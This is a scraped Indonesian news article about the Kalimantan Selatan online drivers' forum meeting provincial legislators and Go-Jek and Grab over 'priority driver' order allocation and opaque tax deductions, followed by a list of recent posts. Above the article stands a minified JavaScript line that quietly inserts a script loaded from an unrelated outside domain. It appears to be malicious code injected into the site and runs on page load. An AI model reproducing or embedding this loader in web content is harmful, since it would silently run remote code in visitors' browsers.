(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Lakukan Audiensi, Pihak Driver Online Kecewa Atas Sikap Aplikator


BANJARMASIN, Forum Driver Online (FDO) Kalsel sambangi DPRD Kalsel untuk beraudiensi dengan pihak aplikator ojek online (Go-Jek dan Grab). Namun, audiensi tersebut masih jauh dari kata memuaskan bagi pihak FDO. Sementara para aplikator memilih bungkam dan menolak untuk diwawancara awak media usai audiensi.

Ketua FDO Kalsel, Pandu Setiawan menyampaikan bahwa poin-poin tuntutan yang pihaknya layangkan saat demo beberapa waktu lalu masih menghasilkan jalan buntu.

“Kalau ditanggapi, sudah. Tapi jauh dari kata selesai. Kami terus terang tidak mendapat kepuasan jawaban,” ungkapnya.

Tuntutan yang paling ingin pihak FDO hilangkan adalah perihal driver prioritas. Saat audiensi, aplikator mengatakan bahwa pihaknya sama sekali tidak pernah ada mengumumkan ihwal driver prioritas ini. Namun, terang Pandu, driver prioritas tersebut riil karena dirasakan langsung oleh pihaknya saat berada di lapangan dan hal mengenai driver prioritas memang pernah diberitahukan oleh pihak aplikator secara tidak tertulis saat melakukan kopdar dengan FDO.

Dijelaskan lebih lanjut oleh Pandu bahwa driver prioritas dapat menciptakan lingkungan kerja yang tidak kondusif dan kecemburuan antar driver. “Driver sama-sama kumpul di satu tempat, yang dapat orderan orangnya yang itu-itu saja. Yang lain bengong saja nunggu orderan,” ungkapnya.

Pihaknya juga ingin meminta transparasi ihwal bagaimana kriteria dari driver prioritas tersebut dan bagaimana caranya agar para driver mendapatkan prioritas tersebut. “Tapi yang paling penting adalah hilangkan prioritasnya,” harap Pandu.


Berbeda dengan aturan lama yang tidak ada driver prioritas. Aturan lama lebih mengutamakan driver yang berada di titik yang paling dekat dari pemesanan. Sejak ada prioritas, driver yang mendapat pesanan biasanya berada di titik yang tidak tetap atau bahkan jauh. Sehingga hal ini juga jelas merugikan pihak driver karena harus menempuh jarak yang lebih jauh dengan bayaran tarid yang kecil.

“Driver yang prioritas mau mengambil pun takut, nanti tidak jadi prioritas lagi. Jadi driver seperti terus dipacu (untuk kerja). Bahkan untuk mematikan aplikasi pun mereka agak mikir-mikir. Takutnya besok malah jadi tidak prioritas lagi,” bebernya.

Di lain hal dalam audiensi, sempat juga dibahas perihal pemotongan pajak driver yang kurang transparan. Driver yang berpenghasilan 4,5 juta dalam sebulan akan otomatis dipotong oleh pihak aplikator untuk pajak. Saat diminta bukti potongan, pihak aplikator tidak bisa secara langsung membeberkan secara langsung bukti potongan dan harus menunggu kurang lebih satu bulan.

“Intinya pertemuan ini kita sangat tidak puas dengan jawaban aplikator. Selama pertemuan mereka tidak pernah menjawab apa yang jadi tuntutan dan pertanyan, mereka mengalihkan ke hal-hal lain terkait kebaikan dan kebagusan mereka,” pungkas Pandu.

Sementara itu Ketua Komisi III DPRD Kalsel, Supian HK memberi waktu satu minggu lagi sebelum audiensi berikutnya. Ia harap kedua belah pihak dapat mempersipkan draft-draft yang nantinya menjadi bahan pertimbangan DPRD Kalsel guna mencari jalan keluar agar tidak ada kerugian bagi kedua belah pihak.(mario)

Reporter : Mario
Editor : Chell

Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

14 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

17 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

17 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

19 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

21 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

22 jam ago

This website uses cookies.